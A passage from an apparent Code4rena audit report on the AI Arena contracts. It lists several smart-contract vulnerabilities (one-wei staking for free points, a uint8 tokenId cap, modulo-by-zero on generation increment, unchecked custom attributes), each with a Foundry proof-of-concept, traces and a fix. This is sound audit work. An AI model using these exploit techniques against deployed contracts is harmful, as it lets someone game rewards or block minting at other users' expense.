0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69 β ββ [586] Neuron::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall] β β ββ β 4000000000000000000000 [4e21] β ββ [26991] Neuron::approveStaker(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 3999999999999999999 [3.999e18]) β β ββ emit Approval(owner: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 3999999999999999999 [3.999e18]) β β ββ β () β ββ [22279] Neuron::transferFrom(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 3999999999999999999 [3.999e18]) β β ββ emit Approval(owner: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 0) β β ββ emit Transfer(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, to: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 3999999999999999999 [3.999e18]) β β ββ β 0x0000000000000000000000000000000000000000000000000000000000000001 β ββ [25859] FighterFarm::updateFighterStaking(0, true) β β ββ emit Locked(tokenId: 0) β β ββ β () β ββ [4618] StakeAtRisk::getStakeAtRisk(0) [staticcall] β β ββ β 0 β ββ emit Staked(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, amount: 3999999999999999999 [3.999e18]) β ββ β () ββ [0] VM::prank(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) β ββ β () ββ [113967] RankedBattle::stakeNRN(1, 1) β ββ [581] FighterFarm::ownerOf(1) [staticcall] β β ββ β 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718 β ββ [586] Neuron::balanceOf(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) [staticcall] β β ββ β 4000000000000000000000 [4e21] β ββ [24991] Neuron::approveStaker(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 1) β β ββ emit Approval(owner: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 1) β β ββ β () β ββ [4759] Neuron::transferFrom(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 1) β β ββ emit Approval(owner: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 0) β β ββ emit Transfer(from: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, to: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 1) β β ββ β 0x0000000000000000000000000000000000000000000000000000000000000001 β ββ [23859] FighterFarm::updateFighterStaking(1, true) β β ββ emit Locked(tokenId: 1) β β ββ β () β ββ [2618] StakeAtRisk::getStakeAtRisk(1) [staticcall] β β ββ β 0 β ββ emit Staked(from: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, amount: 1) β ββ β () ββ [496] RankedBattle::stakingFactor(0) [staticcall] β ββ β 1 ββ [496] RankedBattle::stakingFactor(1) [staticcall] β ββ β 1 ββ β () Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.86ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual review
As explained above I am going to implement the proper way to not lose precision with these calculations
function _getStakingFactor( uint256 tokenId, uint256 stakeAtRisk ) private view returns (uint256) { uint256 stakingFactor_ = FixedPointMathLib.sqrt( - (amountStaked[tokenId] + stakeAtRisk) / 10**18 + (amountStaked[tokenId] + stakeAtRisk) ); - if (stakingFactor_ == 0) { - stakingFactor_ = 1; - } return stakingFactor_; } function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { ... if (battleResult == 0) { if (stakeAtRisk == 0) { - points = stakingFactor[tokenId] * eloFactor + points = stakingFactor[tokenId] * eloFactor / (10**9); } ... } else if (battleResult == 2) { ... if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { - points = stakingFactor[tokenId] * eloFactor + points = stakingFactor[tokenId] * eloFactor / (10**9); ... } }
Math
#0 - c4-pre-sort
2024-02-24T08:15:13Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T08:15:26Z
raymondfam marked the issue as duplicate of #38
#2 - c4-judge
2024-03-07T02:49:49Z
HickupHH3 changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-03-07T02:58:22Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-07T03:49:22Z
HickupHH3 marked the issue as satisfactory
π Selected for report: t0x1c
Also found by: 0rpse, 0xAadi, 0xBinChook, 0xCiphky, 0xDetermination, 14si2o_Flint, AC000123, Aamir, Abdessamed, Blank_Space, CodeWasp, DanielArmstrong, DarkTower, Draiakoo, Honour, Kalogerone, Krace, McToady, Merulez99, MidgarAudits, MrPotatoMagic, PedroZurdo, Silvermist, Tychai0s, VAD37, Velislav4o, VrONTg, WoolCentaur, YouCrossTheLineAlfie, ZanyBonzy, alexxander, aslanbek, btk, csanuragjain, d3e4, dimulski, djxploit, erosjohn, evmboi32, fnanni, forgebyola, forkforkdog, handsomegiraffe, immeas, israeladelaja, juancito, ktg, n0kto, neocrao, ni8mare, okolicodes, peanuts, petro_1912, shaflow2, shaka, swizz, ubermensch, ubl4nk, yotov721
2.0593 USDC - $2.06
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L519-L534 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L416-L500
When a user stakes just a single wei of NRN in RankedBattle
contract, he will obtain a staking factor of 1 due to this function
function _getStakingFactor( uint256 tokenId, uint256 stakeAtRisk ) private view returns (uint256) { uint256 stakingFactor_ = FixedPointMathLib.sqrt( (amountStaked[tokenId] + stakeAtRisk) / 10**18 ); if (stakingFactor_ == 0) { stakingFactor_ = 1; } return stakingFactor_; }
When he loses a battle, he could not get this single wei in stakeAtRisk
because of this calculation
function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { ... curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; ... }
And if he wins, he will get points at his elo factor proportion. Thus, if he has 1500 of elo, he will receive 1500 points.
These points can get accumulated in 2 different contracts, inside the MergingPool
or inside the RankedBattle
. The point inside the RankedBattle
can be lost if the user loses a game and has accumulated points. However, if the user decides to send all his winning points to the MergingPool
he will not lose anything if he loses a game because the RankedBattle
contract can only send points but not discount them.
The final result is the user getting points for every win in the MergingPool
and not losing any of them when getting defeat. All this can be acchieved almost for free because a single wei of NRN is worth almost nothing. These MergingPool
points will make the user eligible for minting new fighters.
The following proof of concept is executed using the RankedBattle.t.sol
setup
function testPOCFreeMergingPoolPoints() public { address player = vm.addr(3); _mintFromMergingPool(player); uint8 tokenId = 0; // Mint some NRN for the user _fundUserWith4kNeuronByTreasury(player); vm.prank(player); _rankedBattleContract.stakeNRN(1, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), 1); // Simulate a lose to check that his wei does not go to risk vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 0, 2, 1500, false); assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), 0); // Simulate a win to check that all his points go directly to the mergingPool vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 100, 0, 1500, false); assertEq(_mergingPoolContract.fighterPoints(tokenId), 1500); // Simulate an other lose to check that his mergingPool points do not disappear vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 0, 2, 1500, false); assertEq(_mergingPoolContract.fighterPoints(tokenId), 1500); }
Output traces
Running 1 test for test/RankedBattle.t.sol:RankedBattleTest [PASS] testPOCFreeMergingPoolPoints() (gas: 803355) Traces: [803355] RankedBattleTest::testPOCFreeMergingPoolPoints() ββ [0] VM::addr(3) [staticcall] β ββ β 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69 ββ [0] VM::prank(MergingPool: [0x349391A6596ACF133B947BB4544C329C217c227e]) β ββ β () ββ [411521] FighterFarm::mintFromMergingPool(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, "_neuralNetHash", "original", [1, 80]) β ββ [83687] AiArenaHelper::createPhysicalAttributes(48996689164381339297717689236250537463348159120191593528428329245764461359606 [4.899e76], 0, 0, false) [staticcall] β β ββ β FighterPhysicalAttributes({ head: 1, eyes: 4, mouth: 1, body: 1, hands: 0, feet: 1 }) β ββ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, tokenId: 0) β ββ [2260] FighterOps::d8d02d30(0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000) [delegatecall] β β ββ emit FighterCreated(id: 0, weight: 80, element: 1, generation: 0) β β ββ β () β ββ β () ββ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) β ββ β () ββ [29938] Neuron::transfer(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 4000000000000000000000 [4e21]) β ββ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, value: 4000000000000000000000 [4e21]) β ββ β true ββ [586] Neuron::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall] β ββ β 4000000000000000000000 [4e21] ββ [0] VM::prank(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) β ββ β () ββ [174267] RankedBattle::stakeNRN(1, 0) β ββ [581] FighterFarm::ownerOf(0) [staticcall] β β ββ β 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69 β ββ [586] Neuron::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall] β β ββ β 4000000000000000000000 [4e21] β ββ [26991] Neuron::approveStaker(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 1) β β ββ emit Approval(owner: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 1) β β ββ β () β ββ [22279] Neuron::transferFrom(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 1) β β ββ emit Approval(owner: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 0) β β ββ emit Transfer(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, to: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 1) β β ββ β 0x0000000000000000000000000000000000000000000000000000000000000001 β ββ [25859] FighterFarm::updateFighterStaking(0, true) β β ββ emit Locked(tokenId: 0) β β ββ β () β ββ [4618] StakeAtRisk::getStakeAtRisk(0) [staticcall] β β ββ β 0 β ββ emit Staked(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, amount: 1) β ββ β () ββ [471] RankedBattle::amountStaked(0) [staticcall] β ββ β 1 ββ [0] VM::prank(0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C) β ββ β () ββ [74845] RankedBattle::updateBattleRecord(0, 0, 2, 1500, false) β ββ [581] FighterFarm::ownerOf(0) [staticcall] β β ββ β 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69 β ββ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall] β β ββ β 0 β ββ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall] β β ββ β 0 β ββ [5238] Neuron::transfer(StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], 0) β β ββ emit Transfer(from: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], to: StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], value: 0) β β ββ β true β ββ [9257] StakeAtRisk::updateAtRiskRecords(0, 0, 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) β β ββ emit IncreasedStakeAtRisk(fighterId: 0, atRiskAmount: 0) β β ββ β () β ββ β () ββ [545] StakeAtRisk::stakeAtRisk(0, 0) [staticcall] β ββ β 0 ββ [0] VM::prank(0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C) β ββ β () ββ [63186] RankedBattle::updateBattleRecord(0, 100, 0, 1500, false) β ββ [581] FighterFarm::ownerOf(0) [staticcall] β β ββ β 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69 β ββ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall] β β ββ β 0 β ββ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall] β β ββ β 0 β ββ [48274] MergingPool::addPoints(0, 1500) β β ββ emit PointsAdded(tokenId: 0, points: 1500) β β ββ β () β ββ β () ββ [527] MergingPool::fighterPoints(0) [staticcall] β ββ β 1500 ββ [0] VM::prank(0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C) β ββ β () ββ [15045] RankedBattle::updateBattleRecord(0, 0, 2, 1500, false) β ββ [581] FighterFarm::ownerOf(0) [staticcall] β β ββ β 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69 β ββ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall] β β ββ β 0 β ββ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall] β β ββ β 0 β ββ [3238] Neuron::transfer(StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], 0) β β ββ emit Transfer(from: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], to: StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], value: 0) β β ββ β true β ββ [3257] StakeAtRisk::updateAtRiskRecords(0, 0, 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) β β ββ emit IncreasedStakeAtRisk(fighterId: 0, atRiskAmount: 0) β β ββ β () β ββ β () ββ [527] MergingPool::fighterPoints(0) [staticcall] β ββ β 1500 ββ β () Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.69ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual review
First of all the stacking factor computation has a huge precision loss and a user can get the same stacking factor by stacking 1 wei of NRN as a user that deposits up to 3_999999999999999999 NRN. It would be good to add a minimum amount of NRN to stake that way this exploit would not be possible because at the first loss he would get his stake at risk.
Secondly, the points that are sent to the MergingPool
can not be touched by the RankedBattle
contract. From my perspective, these points should be added to the accumulated ones in the RankedBattle
adn substract it from the MerginPool
in case that the user loses points.
Error
#0 - c4-pre-sort
2024-02-25T08:33:35Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-25T08:33:43Z
raymondfam marked the issue as duplicate of #38
#2 - c4-judge
2024-03-07T02:49:49Z
HickupHH3 changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-03-07T02:58:22Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-07T03:51:55Z
HickupHH3 marked the issue as satisfactory
π Selected for report: abhishek_thaku_r
Also found by: 0xAlix2, 0xDetermination, 0xShitgem, Draiakoo, Fulum, Greed, MrPotatoMagic, PoeAudits, Tychai0s, ahmedaghadi, alexzoid, dimulski, fnanni, givn, iamandreiski, immeas, kartik_giri_47538, kiqo, klau5, korok, ktg, maxim371, offside0011, pontifex, sashik_eth, stakog, swizz, yotov721
111.676 USDC - $111.68
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370
The reRoll
function is intended to try luck by retrying pseudorandom generation to obtain better stats for your fighter. However, this function takes 2 parameters: tokenId and fighterType.
function reRoll(uint8 tokenId, uint8 fighterType) public { ... }
Here we can notice that the tokenId has to be a uint256 in order to match the underlying ERC721 token indexes, but here we have to pass a uint8.
As a result, all users that get a fighter with the tokenId greater than 255 will not be able to reRoll his stats because the function call will revert.
function testFighterWithHighTokenIdWillNotBeAbleToReroll() public { vm.prank(_ownerAddress); _neuronContract.addSpender(address(_fighterFarmContract)); // Artificially increment the token Id to 255 for(uint i = 1; i < 258; i++){ _mintFromMergingPool(address(uint160(i))); } address tokenId255Owner = _fighterFarmContract.ownerOf(255); address tokenId256Owner = _fighterFarmContract.ownerOf(256); _fundUserWith4kNeuronByTreasury(tokenId255Owner); _fundUserWith4kNeuronByTreasury(tokenId256Owner); // Token ids smaller than 256, including 255 can reroll vm.prank(tokenId255Owner); _fighterFarmContract.reRoll(255, 0); // However, those with a token id greater or equal to 256 can NOT vm.startPrank(tokenId256Owner); vm.expectRevert(); _fighterFarmContract.reRoll(uint8(uint256(256)), 0); vm.stopPrank(); }
Output
Running 1 test for test/FighterFarm.t.sol:FighterFarmTest [PASS] testFighterWithHighTokenIdWillNotBeAbleToReroll() (gas: 102788506) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 89.56ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual review
Change the input type to uint256
- function reRoll(uint8 tokenId, uint8 fighterType) public { + function reRoll(uint256 tokenId, uint8 fighterType) public { ... }
Error
#0 - c4-pre-sort
2024-02-22T01:48:42Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T01:48:48Z
raymondfam marked the issue as duplicate of #68
#2 - c4-judge
2024-03-05T01:58:43Z
HickupHH3 marked the issue as satisfactory
π Selected for report: haxatron
Also found by: 0xAlix2, 0xCiphky, 0xStriker, 0xaghas, 0xbranded, 0xlamide, 0xmystery, 0xvj, 14si2o_Flint, Aamir, AgileJune, Aymen0909, DanielArmstrong, DarkTower, Draiakoo, EagleSecurity, Giorgio, Krace, KupiaSec, MidgarAudits, MrPotatoMagic, PoeAudits, Ryonen, SpicyMeatball, Topmark, Tychai0s, VAD37, Varun_05, VrONTg, WoolCentaur, _eperezok, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, d3e4, devblixt, evmboi32, fnanni, immeas, jesjupyter, juancito, ke1caM, klau5, ktg, lil_eth, merlinboii, nuthan2x, peter, petro_1912, pkqs90, pynschon, radin100, sandy, sashik_eth, shaka, sl1, soliditywala, t0x1c, ubl4nk, visualbits, vnavascues
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L470
Generations of fighters are kind of seasons where fighters are intended to have different elements. For example, for season 1 fighters could have water, fire and rock as elements but in season 2 could have lighting, nature and shadow. The way this is implemented in the protocol is as follows:
/// @notice Mapping of number elements by generation. mapping(uint8 => uint8) public numElements;
There is a mapping where the number of the generation is the key and the value is the number of elements. As we can see in the constructor, for generation 0 has been set to 3 elements.
constructor(address ownerAddress, address delegatedAddress, address treasuryAddress_) ERC721("AI Arena Fighter", "FTR") { _ownerAddress = ownerAddress; _delegatedAddress = delegatedAddress; treasuryAddress = treasuryAddress_; @> numElements[0] = 3; }
However, when a new generation is set via incrementGeneration
, there will always be 0 elements because the default value will be 0 and there is no function to set this number of elements per generation.
function incrementGeneration(uint8 fighterType) external returns (uint8) { require(msg.sender == _ownerAddress); generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; return generation[fighterType]; }
As a result, when new fighters will try to get minted, those that need to calculate his element and weight via _createFighterBase
, will try to calculate compute a modulo of 0 leading the transaction to revert. That is because there will always be 0 elements for upcoming elements.
function _createFighterBase( uint256 dna, uint8 fighterType ) private view returns (uint256, uint256, uint256) { @> uint256 element = dna % numElements[generation[fighterType]]; uint256 weight = dna % 31 + 65; uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); return (element, weight, newDna); }
The only fighters that will be able to get minted are those minted from the MergingPool
. That's because the user can pass custom attributes and the element does not need to be computed.
The following Proof of Concept uses the setup from the FighterFarm.t.sol
function testIfGenerationIsIncrementedNoMoreFightersWillBeAbleToBeMinted() public { // Generation for fighters with type 0 gets incremented. Now there are 0 elements vm.prank(_ownerAddress); _fighterFarmContract.incrementGeneration(0); // From now on it is not possible to mint a fighter of this type uint8[2] memory numToMint = [1, 0]; bytes memory claimSignature = abi.encodePacked( hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c" ); string[] memory claimModelHashes = new string[](1); claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory claimModelTypes = new string[](1); claimModelTypes[0] = "original"; // Right sender of signature should be able to claim fighter vm.expectRevert(); _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes); }
Output traces
Running 1 test for test/FighterFarm.t.sol:FighterFarmTest [PASS] testIfGenerationIsIncrementedNoMoreFightersWillBeAbleToBeMinted() (gas: 90905) Traces: [90905] FighterFarmTest::testIfGenerationIsIncrementedNoMoreFightersWillBeAbleToBeMinted() ββ [0] VM::prank(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) β ββ β () ββ [30685] FighterFarm::incrementGeneration(0) β ββ β 1 ββ [0] VM::expectRevert(custom error f4844814:) β ββ β () ββ [46343] FighterFarm::claimFighters([1, 0], 0x407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c, ["ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"], ["original"]) β ββ [4574] Verification::verify(0x25820a63f06e1e0f1084b9ab80ecbc8c9659397472c0fea95a08a93019aa3586, 0x407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c, 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0) [delegatecall] β β ββ [3000] PRECOMPILES::ecrecover(0xfd8716f5403181916d3702b50af2e697692bec1db02b71fb540c50728810e1ef, 28, 29167584611576571339878995233636422018945121535272023715362727324106082621178, 35314661797998437913913732547377583040930425685770092457433811664373280228048) [staticcall] β β β ββ β 0x00000000000000000000000022f4441ad6dbd602dfde5cd8a38f6cade68860b0 β β ββ β true β ββ β panic: division or modulo by zero (0x12) ββ β () Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.52ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual review
Add a the number of elements for the next generation when incrementing it
- function incrementGeneration(uint8 fighterType) external returns (uint8) { + function incrementGeneration(uint8 fighterType, uint8 numElementsForNewGeneration) external returns (uint8) { require(msg.sender == _ownerAddress); generation[fighterType] += 1; + numElements[generation[fighterType]] = numElementsForNewGeneration; maxRerollsAllowed[fighterType] += 1; return generation[fighterType]; }
DoS
#0 - c4-pre-sort
2024-02-22T18:43:11Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T18:43:22Z
raymondfam marked the issue as duplicate of #45
#2 - c4-judge
2024-03-07T07:03:34Z
HickupHH3 marked the issue as satisfactory
π Selected for report: ktg
Also found by: 0xCiphky, 0xDetermination, 0xRiO, 0xWallSecurity, 0xlemon, 0xvj, AlexCzm, BARW, Blank_Space, Draiakoo, FloatingPragma, Giorgio, Matue, McToady, MrPotatoMagic, Silvermist, SpicyMeatball, Tendency, Topmark, Tumelo_Crypto, _eperezok, agadzhalov, ahmedaghadi, alexxander, aslanbek, cats, d3e4, denzi_, dutra, evmboi32, fnanni, givn, handsomegiraffe, haxatron, immeas, juancito, ke1caM, kiqo, klau5, krikolkk, niser93, peter, petro_1912, pkqs90, rspadi, sl1, stakog, visualbits, vnavascues, yotov721
1.876 USDC - $1.88
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167
Users that were selected to be winners in the MergingPool
can claim his new fighters with custom attributes. These custom attributes are composed of the element and the weight of the fighter. The element must be a number between 0 and the total number of elements of this generation minus 1. The weight must be a number less than 100. However, when a user wants to mint his new fighter via claimRewards
function, there is no constraints for these custom attributes input.
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
The custom attributes are passed directly to the FighterFarm
and inside there the attributes are set directly from the parameters.
That means that users who win a fighter from the MergingPool
will be able to set an element and a weight out of range which can be misunderstood by the off-chain server.
This test uses the setup of the RankedBattle.t.sol
function testPOCCustomAttributesNotConstrained() public { address user = makeAddr("user"); // User passed element 10 when in fact there are only 3 elements in generation 0 // User passed weight 1000 when max weight is 99 vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(user, "_neuralNetHash", "original", [uint256(10), uint256(1000)]); (uint256 weight, uint256 element, , , , , , , ) = _fighterFarmContract.fighters(0); assertEq(weight, 1000); assertEq(element, 10); }
Output traces
Running 1 test for test/RankedBattle.t.sol:RankedBattleTest [PASS] testPOCCustomAttributesNotConstrained() (gas: 430800) Traces: [430800] RankedBattleTest::testPOCCustomAttributesNotConstrained() ββ [0] VM::addr(<pk>) [staticcall] β ββ β user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D] ββ [0] VM::label(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], user) β ββ β () ββ [0] VM::prank(MergingPool: [0x349391A6596ACF133B947BB4544C329C217c227e]) β ββ β () ββ [411521] FighterFarm::mintFromMergingPool(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], _neuralNetHash, original, [10, 1000]) β ββ [83687] AiArenaHelper::createPhysicalAttributes(48996689164381339297717689236250537463348159120191593528428329245764461359606 [4.899e76], 0, 0, false) [staticcall] β β ββ β (1, 4, 1, 1, 0, 1) β ββ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], tokenId: 0) β ββ [2260] FighterOps::d8d02d30(000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000) [delegatecall] β β ββ emit FighterCreated(id: 0, weight: 1000, element: 10, generation: 0) β β ββ β () β ββ β () ββ [4390] FighterFarm::fighters(0) [staticcall] β ββ β 1000, 10, (1, 4, 1, 1, 0, 1), 0, _neuralNetHash, original, 0, 0, false ββ β () Test result: ok. 1 passed; 0 failed; finished in 6.82ms
Manual review
The function to claim rewards should ensure that the input passed by the user is between the correct range
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { + uint8 currentGeneration = _fighterFarmInstance.generation(0); + uint8 numElements = _fighterFarmInstance.numElements(currentGeneration); uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { + require(customAttributes[claimIndex][0] < numElements); + require(customAttributes[claimIndex][1] < 100); _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
Invalid Validation
#0 - c4-pre-sort
2024-02-24T08:58:34Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T08:58:49Z
raymondfam marked the issue as duplicate of #226
#2 - c4-judge
2024-03-11T10:25:08Z
HickupHH3 marked the issue as satisfactory
π Selected for report: ahmedaghadi
